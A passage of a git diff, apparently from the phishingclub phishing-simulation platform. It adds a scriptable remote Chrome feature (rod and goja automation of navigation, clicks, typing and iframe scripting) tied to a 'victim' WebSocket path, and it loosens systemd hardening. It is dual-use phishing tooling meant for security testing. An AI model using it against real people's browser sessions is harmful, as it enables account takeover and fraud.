+github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18= +github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg= +github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk= +github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q= +github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg= +github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY= +github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= +github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE= +github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg= +github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU= +github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY= github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= @@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/backend/install/installer.go b/backend/install/installer.go index 783a67d..964fda6 100644 --- a/backend/install/installer.go +++ b/backend/install/installer.go @@ -374,6 +374,8 @@ func createUserAndGroup() error { "-r", "-g", serviceGroup, "-s", "/bin/false", + "-m", + "-d", "/var/lib/"+serviceUser, serviceUser, ) if err := cmd.Run(); err != nil { diff --git a/backend/install/interactive.go b/backend/install/interactive.go index e7995e3..a6bf147 100644 --- a/backend/install/interactive.go +++ b/backend/install/interactive.go @@ -240,7 +240,8 @@ func (m ConfigModel) renderAdvancedSections(b *strings.Builder) { {"Database Configuration", 6, 8}, {"TLS Configuration", 8, 10}, {"Logging Configuration", 10, 12}, - {"Security Configuration", 12, len(m.inputs)}, + {"Security Configuration", 12, 15}, + {"Remote Browser", 15, len(m.inputs)}, } currentSection := -1 @@ -324,6 +325,10 @@ func (m *ConfigModel) createAdvancedInputs() []InputWithHelp { {"Admin allowed IPs", "", "192.168.1.0/24,10.0.0.1", "comma-separated list of IP/CIDR ranges allowed to access admin (empty for all)"}, {"Trusted proxies", "", "192.168.1.1,10.0.0.1", "comma-separated list of trusted proxy IPs/CIDR ranges"}, {"Trusted IP header", config.DefaultTrustedIPHeader, "X-Real-IP", "header name to check for real client IP from trusted proxies"}, + + // remote browser configuration + {"Enable remote browser", "false", "true/false", "enable the remote browser feature - only enable when all operators are fully trusted"}, + {"Chrome binary path", "", "/usr/bin/chromium-browser", "path to Chrome/Chromium binary (leave empty to use auto-downloaded Chromium)"}, } for i, p := range prompts { @@ -458,6 +463,13 @@ func (m *ConfigModel) applyAdvancedConfig() error { m.config.IPSecurity.TrustedProxies = trustedProxiesList m.config.IPSecurity.TrustedIPHeader = trustedIPHeader + // remote browser configuration + rbEnabled := strings.ToLower(getValueOrDefault(m.inputs[15].Value(), "false")) == "true" + m.config.SetRemoteBrowserEnabled(rbEnabled) + if execPath := m.inputs[16].Value(); execPath != "" { + m.config.SetRemoteBrowserExecPath(execPath) + } + return nil } diff --git a/backend/install/systemd.service b/backend/install/systemd.service index 7b0fba8..ef75324 100644 --- a/backend/install/systemd.service +++ b/backend/install/systemd.service @@ -14,11 +14,9 @@ PrivateTmp=true NoNewPrivileges=true ProtectSystem=full ProtectHome=true -RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX -RestrictNamespaces=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK RestrictRealtime=true RestrictSUIDSGID=true -MemoryDenyWriteExecute=true Restart=always RestartSec=5s StartLimitBurst=3 diff --git a/backend/main.go b/backend/main.go index 220de17..863dda9 100644 --- a/backend/main.go +++ b/backend/main.go @@ -322,6 +322,13 @@ func main() { ) } adminRouter.Use(middlewares.IPLimiter) + + // read the seeded victim WS path for the remote browser endpoint + rbWSPath := "rbws" // fallback - real value is seeded at first startup + if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil { + rbWSPath = opt.Value.String() + } + adminServer := app.NewAdministrationServer( adminRouter, controllers, @@ -363,6 +370,7 @@ func main() { repositories, logger, certMagicConfig, + rbWSPath, ) var r *gin.Engine diff --git a/backend/model/remoteBrowser.go b/backend/model/remoteBrowser.go new file mode 100644 index 0000000..0d555d5 --- /dev/null +++ b/backend/model/remoteBrowser.go @@ -0,0 +1,107 @@ +package model + +import ( + "encoding/json" + "fmt" + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/validate" + "github.com/phishingclub/phishingclub/vo" +) + +// RemoteBrowserConfig is the API-level config for a remote browser session. +type RemoteBrowserConfig struct { + Mode string `json:"mode"` // "local" | "remote" + Remote string `json:"remote"` // DevTools WS URL (mode=remote only) + Proxy string `json:"proxy"` // socks5:// or http:// + Headless bool `json:"headless"` // run Chrome headless (mode=local) + Timeout int `json:"timeout"` // ms; 0 = default (60000) + Lang string `json:"lang"` // BCP 47 locale e.g. "da-DK" (mode=local) + ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags (mode=local) +} + +// RemoteBrowser is a saved remote browser script with its connection config. +type RemoteBrowser struct { + ID nullable.Nullable[uuid.UUID] `json:"id"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"` + Name nullable.Nullable[vo.String64] `json:"name"` + Description nullable.Nullable[vo.OptionalString1024] `json:"description"` + Script nullable.Nullable[vo.String1MB] `json:"script"` + Config nullable.Nullable[RemoteBrowserConfig] `json:"config"` + + Company *Company `json:"-"` +} + +// Validate checks required fields and config values. +func (m *RemoteBrowser) Validate() error { + if err := validate.NullableFieldRequired("name", m.Name); err != nil { + return err + } + if err := validate.NullableFieldRequired("script", m.Script); err != nil { + return err + } + if m.Config.IsSpecified() { + if cfg, err := m.Config.Get(); err == nil { + if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" { + return fmt.Errorf("config.mode must be 'local' or 'remote'") + } + if cfg.Mode == "remote" && cfg.Remote == "" { + return fmt.Errorf("config.remote is required when mode is 'remote'") + } + } + } + return nil +} + +// ToDBMap returns the fields that should be persisted. +func (m *RemoteBrowser) ToDBMap() map[string]any { + dbMap := map[string]any{} + if m.Name.IsSpecified() { + dbMap["name"] = nil + if name, err := m.Name.Get(); err == nil { + dbMap["name"] = name.String() + } + } + if m.Description.IsSpecified() { + dbMap["description"] = nil + if description, err := m.Description.Get(); err == nil { + dbMap["description"] = description.String() + } + } + if m.Script.IsSpecified() { + dbMap["script"] = nil + if script, err := m.Script.Get(); err == nil { + dbMap["script"] = script.String() + } + } + if m.Config.IsSpecified() { + dbMap["config"] = "" + if cfg, err := m.Config.Get(); err == nil { + if b, err := json.Marshal(cfg); err == nil { + dbMap["config"] = string(b) + } + } + } + if m.CompanyID.IsSpecified() { + if m.CompanyID.IsNull() { + dbMap["company_id"] = nil + } else { + dbMap["company_id"] = m.CompanyID.MustGet() + } + } + return dbMap +} + +// RemoteBrowserOverview is a lightweight listing model. +type RemoteBrowserOverview struct { + ID uuid.UUID `json:"id,omitempty"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + Name string `json:"name"` + Description string `json:"description"` + CompanyID *uuid.UUID `json:"companyID"` +} diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go new file mode 100644 index 0000000..b6dce62 --- /dev/null +++ b/backend/remotebrowser/browser.go @@ -0,0 +1,1186 @@ +package remotebrowser + +import ( + "context" + "errors" + "fmt" + "regexp" + "strings" + "sync" + "time" + + "github.com/dop251/goja" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/input" + "github.com/go-rod/rod/lib/proto" +) + +// RegisterBrowserBindings wires up all rod actions as callable JS functions +// on the provided target object. All actions block until completion. +// emitter may be nil (e.g. in withTimeout sub-sessions); screenshots and debug logs +// are silently dropped when nil. debug adds before/after log lines for every action. +// +// Debug symbol legend: +// +// → action starting ✓ action done … waiting ? reading = result value +func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, emitter *channelEmitter, debug bool, queryTimeout int) { + must := func(err error) { + if err != nil { + panic(vm.NewGoError(err)) + } + } + + // argStr returns the string value of a goja argument, or "" for undefined/null. + argStr := func(v goja.Value) string { + if goja.IsUndefined(v) || goja.IsNull(v) { + return "" + } + return v.String() + } + + dbg := func(msg string) { + if debug && emitter != nil { + emitter.log("[dbg] " + msg) + } + } + + // readPage returns a page for read-only CDP queries (getNodeCount, getText, + // evaluate, screenshot, …). When queryTimeout > 0 it is bounded so a stalled + // browser can't freeze the goja listen loop. 0 means no extra timeout. + readPage := func() (*rod.Page, func()) { + if queryTimeout > 0 { + tCtx, cancel := context.WithTimeout(page.GetContext(), time.Duration(queryTimeout)*time.Millisecond) + return page.Context(tCtx), cancel + } + return page, func() {} + } + + // collectSelectors returns all non-empty string arguments as CSS selectors, + // skipping any trailing options object. + collectSelectors := func(call goja.FunctionCall) []string { + var sels []string + for _, a := range call.Arguments { + if goja.IsUndefined(a) || goja.IsNull(a) { + continue + } + // Skip the options object (last-arg convention). + if _, isObj := a.Export().(map[string]interface{}); isObj { + continue + } + if s := a.String(); s != "" { + sels = append(sels, s) + } + } + if len(sels) == 0 { + panic(vm.NewTypeError("at least one selector is required")) + } + return sels + } + + // frameCtxs tracks execution contexts for same-process sub-frames, keyed by context ID. + // Value is [3]string{frameId, origin, name} from the executionContextCreated event. + // Same-origin iframes share the main page's CDP session and appear here. + var frameCtxs sync.Map // proto.RuntimeExecutionContextID → [3]string{frameId, origin, name} + mainFrameID := string(page.FrameID) + + // framePages tracks OOPIF (cross-origin, out-of-process) iframe sessions. + // Chrome auto-attaches them via Target.setAutoAttach{flatten:true} and sends + // Target.attachedToTarget events with a sessionId. We use PageFromSession to + // route proto.RuntimeEvaluate calls to each OOPIF's CDP session. + var framePages sync.Map // proto.TargetSessionID → *rod.Page + + // Subscribe before calling RuntimeEnable/setAutoAttach so events for + // already-existing contexts are captured after the listener is registered. + waitFrameEvt := page.EachEvent( + // Same-process iframe contexts. + func(e *proto.RuntimeExecutionContextCreated) bool { + if e.Context == nil { + return false + } + isDefault := e.Context.AuxData["isDefault"].Str() + fid := e.Context.AuxData["frameId"].Str() + if isDefault != "true" || fid == "" || fid == mainFrameID { + return false + } + frameCtxs.Store(e.Context.ID, [3]string{fid, e.Context.Origin, e.Context.Name}) + return false + }, + func(e *proto.RuntimeExecutionContextDestroyed) bool { + frameCtxs.Delete(e.ExecutionContextID) + return false + }, + func(e *proto.RuntimeExecutionContextsCleared) bool { + frameCtxs.Range(func(k, _ any) bool { frameCtxs.Delete(k); return true }) + return false + }, + // OOPIF iframe targets auto-attached via Target.setAutoAttach{flatten:true}. + func(e *proto.TargetAttachedToTarget) bool { + if e.TargetInfo == nil || string(e.TargetInfo.Type) != "iframe" { + return false + } + fp := page.Browser().PageFromSession(e.SessionID) + framePages.Store(e.SessionID, fp) + return false + }, + func(e *proto.TargetDetachedFromTarget) bool { + framePages.Delete(e.SessionID) + return false + }, + ) + // RuntimeEnable triggers executionContextCreated for all already-existing contexts. + _ = proto.RuntimeEnable{}.Call(page) //nolint:errcheck + // setAutoAttach auto-attaches all current and future OOPIF child targets to + // this page's session. Existing OOPIFs emit attachedToTarget immediately. + _ = proto.TargetSetAutoAttach{AutoAttach: true, WaitForDebuggerOnStart: false, Flatten: true}.Call(page) //nolint:errcheck + // Wrap with recover so an unexpected CDP event structure can't crash the server. + go func() { + defer func() { recover() }() //nolint:errcheck + waitFrameEvt() + }() + + // extractWaitOpts parses the optional last-argument options object. + // Returns searchFrames=true if frame search is enabled (default true), + // and specificFrame as the iframe CSS selector if { frame: "..." } was given. + // + // waitVisible("#el") search main page + all frames (default) + // waitVisible("#el", {frames:false}) search main page only + // waitVisible("#el", {frame:"iframe#x"}) search only that specific iframe + extractWaitOpts := func(call goja.FunctionCall) (searchFrames bool, specificFrame string) { + searchFrames = true + for _, a := range call.Arguments { + if goja.IsUndefined(a) || goja.IsNull(a) { + continue + } + if _, isObj := a.Export().(map[string]interface{}); !isObj { + continue + } + obj := a.ToObject(vm) + if v := obj.Get("frame"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + specificFrame = v.String() + return + } + if v := obj.Get("frames"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + searchFrames = v.ToBoolean() + } + break + } + return + } + + // wrapCondJS builds a JS arrow-function that evaluates all per-selector + // function(doc){...} parts against the current document. + // Frame iteration is handled at the Go level via CDP execution contexts, + // not via contentDocument (which is blocked for cross-origin frames). + wrapCondJS := func(parts []string) string { + return fmt.Sprintf( + "()=>{var fns=[%s];for(var i=0;i { " + stmt + " }") + return err + } + _, err := proto.RuntimeEvaluate{Expression: "(function(){" + stmt + "})()"}.Call(targetPage) + return err + } + + // readFromFrame evaluates a JS expression in targetPage and returns the + // string result. For the main page applies queryTimeout if set. + readFromFrame := func(targetPage *rod.Page, jsExpr string) (string, error) { + if targetPage == page { + rPage, cancel := readPage() + defer cancel() + res, err := rPage.Eval("() => String(" + jsExpr + ")") + if err != nil { + return "", err + } + return res.Value.Str(), nil + } + res, err := proto.RuntimeEvaluate{ + Expression: "String(" + jsExpr + ")", + ReturnByValue: true, + }.Call(targetPage) + if err != nil || res == nil { + return "", err + } + return res.Result.Value.Str(), nil + } + + // scanOnce evaluates condJS across the main page and, if requested, all + // tracked frame contexts. Returns the first matched selector string, or "". + // This is the single-tick heart of both pollUntilAny and pollUntilNone. + scanOnce := func(condJS string, searchFrames bool, specificFrame string) (string, error) { + res, err := page.Eval(condJS) + if err != nil { + return "", err + } + if !res.Value.Nil() { + if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" { + return s, nil + } + } + if !searchFrames && specificFrame == "" { + return "", nil + } + + if specificFrame != "" { + el, err := page.Element(specificFrame) + if err != nil { + return "", nil + } + node, err := el.Describe(1, false) + if err != nil || node.FrameID == "" { + return "", nil + } + targetFID := string(node.FrameID) + var found string + frameCtxs.Range(func(k, v any) bool { + if v.([3]string)[0] == targetFID { + if s, ok := evalFrameCtx(k.(proto.RuntimeExecutionContextID), condJS); ok { + found = s + } + return false + } + return true + }) + if found == "" { + framePages.Range(func(_, v any) bool { + if s, ok := evalOOPIF(v.(*rod.Page), condJS); ok { + found = s + return false + } + return true + }) + } + return found, nil + } + + // Search all frames: same-process contexts then OOPIFs. + var found string + frameCtxs.Range(func(k, v any) bool { + if s, ok := evalFrameCtx(k.(proto.RuntimeExecutionContextID), condJS); ok { + found = s + return false + } + return true + }) + if found == "" { + framePages.Range(func(_, v any) bool { + if s, ok := evalOOPIF(v.(*rod.Page), condJS); ok { + found = s + return false + } + return true + }) + } + return found, nil + } + + // pollUntilAny polls every 100 ms until condJS matches in any searched context. + pollUntilAny := func(condJS string, searchFrames bool, specificFrame string) (string, error) { + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + return "", page.GetContext().Err() + case <-ticker.C: + if s, err := scanOnce(condJS, searchFrames, specificFrame); err != nil { + return "", err + } else if s != "" { + return s, nil + } + } + } + } + + // pollUntilNone polls every 100 ms until posCondJS matches in NO searched + // context. Used by waitNotVisible and waitNotPresent: instead of checking + // "is element absent from THIS context?" (which fires immediately on the main + // page when the element lives in an iframe), we check "is element still visible + // in ANY context?" and wait until the answer is no. + pollUntilNone := func(posCondJS string, searchFrames bool, specificFrame string, fallback string) (string, error) { + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + return "", page.GetContext().Err() + case <-ticker.C: + s, err := scanOnce(posCondJS, searchFrames, specificFrame) + if err != nil { + return "", err + } + if s == "" { + return fallback, nil + } + } + } + } + + pc.Set("navigate", func(call goja.FunctionCall) goja.Value { + rawURL := argStr(call.Argument(0)) + dbg("→ navigate " + rawURL) + must(page.Navigate(rawURL)) + must(page.WaitLoad()) + dbg("✓ navigate " + rawURL) + return goja.Undefined() + }) + + // navigateToHistoryOffset navigates by history offset without waiting for + // a load event (avoids deadlock on cached pages). + navigateToHistoryOffset := func(offset int) error { + res, err := proto.PageGetNavigationHistory{}.Call(page) + if err != nil { + return err + } + targetIndex := res.CurrentIndex + offset + if targetIndex < 0 || targetIndex >= len(res.Entries) { + return fmt.Errorf("no history entry at offset %d", offset) + } + targetEntry := res.Entries[targetIndex] + targetURL := targetEntry.URL + navCmd := proto.PageNavigateToHistoryEntry{EntryID: targetEntry.ID} + if err := navCmd.Call(page); err != nil { + return err + } + ticker := time.NewTicker(50 * time.Millisecond) + defer ticker.Stop() + deadline := time.Now().Add(30 * time.Second) + for time.Now().Before(deadline) { + info, err := page.Info() + if err != nil { + return err + } + if info.URL == targetURL { + return nil + } + select { + case <-page.GetContext().Done(): + return page.GetContext().Err() + case <-ticker.C: + } + } + return fmt.Errorf("timed out waiting for navigation to %s", targetURL) + } + + pc.Set("navigateBack", func(call goja.FunctionCall) goja.Value { + dbg("→ navigateBack") + must(navigateToHistoryOffset(-1)) + dbg("✓ navigateBack") + return goja.Undefined() + }) + + pc.Set("navigateForward", func(call goja.FunctionCall) goja.Value { + dbg("→ navigateForward") + must(navigateToHistoryOffset(+1)) + dbg("✓ navigateForward") + return goja.Undefined() + }) + + pc.Set("reload", func(call goja.FunctionCall) goja.Value { + dbg("→ reload") + must(page.Reload()) + dbg("✓ reload") + return goja.Undefined() + }) + + pc.Set("stop", func(call goja.FunctionCall) goja.Value { + dbg("→ stop") + must(proto.PageStopLoading{}.Call(page)) + dbg("✓ stop") + return goja.Undefined() + }) + + pc.Set("location", func(call goja.FunctionCall) goja.Value { + info, err := page.Info() + must(err) + dbg("= location " + info.URL) + return vm.ToValue(info.URL) + }) + + makeWaitURL := func(matchFn func(string) bool, label string) func(goja.FunctionCall) goja.Value { + return func(call goja.FunctionCall) goja.Value { + dbg("… " + label) + ticker := time.NewTicker(100 * time.Millisecond) + defer ticker.Stop() + for { + select { + case <-page.GetContext().Done(): + must(page.GetContext().Err()) + case <-ticker.C: + info, err := page.Info() + if err != nil { + continue + } + if matchFn(info.URL) { + dbg("✓ " + label + " matched " + info.URL) + return vm.ToValue(info.URL) + } + } + } + } + } + + pc.Set("waitURLContains", func(call goja.FunctionCall) goja.Value { + pat := argStr(call.Argument(0)) + return makeWaitURL(func(u string) bool { return strings.Contains(u, pat) }, "waitURLContains "+pat)(call) + }) + + pc.Set("waitURLMatch", func(call goja.FunctionCall) goja.Value { + re, ok := call.Argument(0).Export().(*regexp.Regexp) + if !ok { + panic(vm.NewTypeError("waitURLMatch: argument must be a RegExp")) + } + return makeWaitURL(re.MatchString, "waitURLMatch "+re.String())(call) + }) + + pc.Set("title", func(call goja.FunctionCall) goja.Value { + info, err := page.Info() + must(err) + dbg("= title " + info.Title) + return vm.ToValue(info.Title) + }) + + pc.Set("waitVisible", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitVisible %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitVisible " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitReady", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitReady %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);if(!el||el.disabled)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitReady " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitEnabled", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitEnabled %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);return(el&&!el.disabled)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitEnabled " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitSelected", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitSelected %v", sels)) + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);return el&&el.selected?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilAny(wrapCondJS(parts), sf, fr) + must(err) + dbg("✓ waitSelected " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitNotVisible", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitNotVisible %v", sels)) + // Use the positive visibility condition (same as waitVisible) and wait + // until it matches in NO context. This avoids the false positive where + // the main page immediately reports "not visible" for elements that live + // inside iframes (where querySelector returns null = treated as absent). + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){var el=doc.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilNone(wrapCondJS(parts), sf, fr, sels[0]) + must(err) + dbg("✓ waitNotVisible " + matched) + return vm.ToValue(matched) + }) + + pc.Set("waitNotPresent", func(call goja.FunctionCall) goja.Value { + sels := collectSelectors(call) + sf, fr := extractWaitOpts(call) + dbg(fmt.Sprintf("… waitNotPresent %v", sels)) + // Same inversion: use the positive presence condition and wait until + // no context finds the element present. + var parts []string + for _, sel := range sels { + parts = append(parts, fmt.Sprintf( + "function(doc){return doc.querySelector(%q)?%q:null}", + sel, sel, + )) + } + matched, err := pollUntilNone(wrapCondJS(parts), sf, fr, sels[0]) + must(err) + dbg("✓ waitNotPresent " + matched) + return vm.ToValue(matched) + }) + + pc.Set("click", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ click " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + if err = el.Click(proto.InputMouseButtonLeft, 1); err != nil { + var npe *rod.NoPointerEventsError + if errors.As(err, &npe) { + _, evalErr := el.Eval(`() => this.click()`) + must(evalErr) + } else { + must(err) + } + } + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.click()", sel))) + } + dbg("✓ click " + sel) + return goja.Undefined() + }) + + pc.Set("doubleClick", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ doubleClick " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + if err = el.Click(proto.InputMouseButtonLeft, 2); err != nil { + var npe *rod.NoPointerEventsError + if errors.As(err, &npe) { + _, evalErr := el.Eval(`() => { this.click(); this.click(); }`) + must(evalErr) + } else { + must(err) + } + } + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el){el.click();el.click()}", sel))) + } + dbg("✓ doubleClick " + sel) + return goja.Undefined() + }) + + pc.Set("clickXY", func(call goja.FunctionCall) goja.Value { + x := call.Argument(0).ToFloat() + y := call.Argument(1).ToFloat() + dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y)) + must(page.Mouse.MoveTo(proto.Point{X: x, Y: y})) + must(page.Mouse.Click(proto.InputMouseButtonLeft, 1)) + dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y)) + return goja.Undefined() + }) + + pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ scrollIntoView " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.ScrollIntoView()) + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.scrollIntoView()", sel))) + } + dbg("✓ scrollIntoView " + sel) + return goja.Undefined() + }) + + pc.Set("sendKeys", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + text := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ sendKeys %s (%d chars)", sel, len(text))) + // Focus in whichever frame owns the element, then insert text via Input.insertText + // which Chrome applies to the focused element regardless of frame. + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.focus()", sel))) + must(page.InsertText(text)) + dbg("✓ sendKeys " + sel) + return goja.Undefined() + }) + + // namedKeys maps CDP/browser key name strings to rod input.Key constants. + // For single-character keys the rune value is used directly as a fallback. + namedKeys := map[string]input.Key{ + "Enter": input.Enter, "Return": input.Enter, + "Tab": input.Tab, "Escape": input.Escape, "Backspace": input.Backspace, + "Delete": input.Delete, "Insert": input.Insert, + "Home": input.Home, "End": input.End, + "PageUp": input.PageUp, "PageDown": input.PageDown, + "ArrowLeft": input.ArrowLeft, "ArrowRight": input.ArrowRight, + "ArrowUp": input.ArrowUp, "ArrowDown": input.ArrowDown, + " ": input.Space, "Space": input.Space, + "F1": input.F1, "F2": input.F2, "F3": input.F3, "F4": input.F4, + "F5": input.F5, "F6": input.F6, "F7": input.F7, "F8": input.F8, + "F9": input.F9, "F10": input.F10, "F11": input.F11, "F12": input.F12, + "ShiftLeft": input.ShiftLeft, "ShiftRight": input.ShiftRight, + "ControlLeft": input.ControlLeft, "ControlRight": input.ControlRight, + "AltLeft": input.AltLeft, "AltRight": input.AltRight, + } + + pc.Set("keyEvent", func(call goja.FunctionCall) goja.Value { + key := argStr(call.Argument(0)) + dbg("→ keyEvent " + key) + if k, ok := namedKeys[key]; ok { + must(page.Keyboard.Press(k)) + } else { + runes := []rune(key) + if len(runes) > 0 { + must(page.Keyboard.Press(input.Key(runes[0]))) + } + } + dbg("✓ keyEvent " + key) + return goja.Undefined() + }) + + pc.Set("clear", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ clear " + sel) + stmt := fmt.Sprintf( + `var el=document.querySelector(%q);if(!el)return;`+ + `var n=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value')`+ + `||Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype,'value');`+ + `if(n&&n.set){n.set.call(el,'')}else{el.value=''};`+ + `el.dispatchEvent(new Event('input',{bubbles:true}));`+ + `el.dispatchEvent(new Event('change',{bubbles:true}))`, + sel) + must(evalInFrame(findPage(sel), stmt)) + dbg("✓ clear " + sel) + return goja.Undefined() + }) + + pc.Set("focus", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ focus " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.Focus()) + } else { + must(evalInFrame(target, fmt.Sprintf("var el=document.querySelector(%q);if(el)el.focus()", sel))) + } + dbg("✓ focus " + sel) + return goja.Undefined() + }) + + pc.Set("blur", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ blur " + sel) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.blur()", sel))) + dbg("✓ blur " + sel) + return goja.Undefined() + }) + + pc.Set("submit", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) 